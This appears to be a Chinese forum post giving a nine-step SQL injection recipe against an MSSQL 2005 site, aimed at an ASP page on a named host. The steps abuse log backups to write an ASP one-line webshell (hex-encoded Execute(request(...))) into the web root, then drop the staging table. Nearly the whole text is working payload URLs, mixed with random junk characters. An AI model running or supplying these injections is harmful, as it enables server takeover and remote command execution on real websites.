Mssql2005 Log备份Webshell

admin

第一步
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--
" L+ }2 T2 g: T9 ^6 I" ^' C2 x
第二步：
/ t, N# P" p. thttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
+ c/ J; a% l2 C- p& i' o
* [3 ^+ |# J& ~) `4 Z第三步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第四步
& I2 x7 P1 b1 n9 E; Q$ k1 H3 shttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
: L  d/ T7 W+ o/ v( u( g
: A9 {, x1 {3 K3 Q7 k, n第五步
& P, u6 v' X( }+ {6 n7 I4 c$ Thttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
: q4 ?+ E4 q" |9 K+ p0 R
第六步
! r, J  v4 H- V' X3 Ihttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

第七步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

- E* N) R5 g/ L- w6 c) P' b: T第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
- I$ Z4 Q1 _% X
/ e: w1 S; Q* X' }5 O1 z3 K: q5 v第九步
( `/ `8 K4 s1 U" Shttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--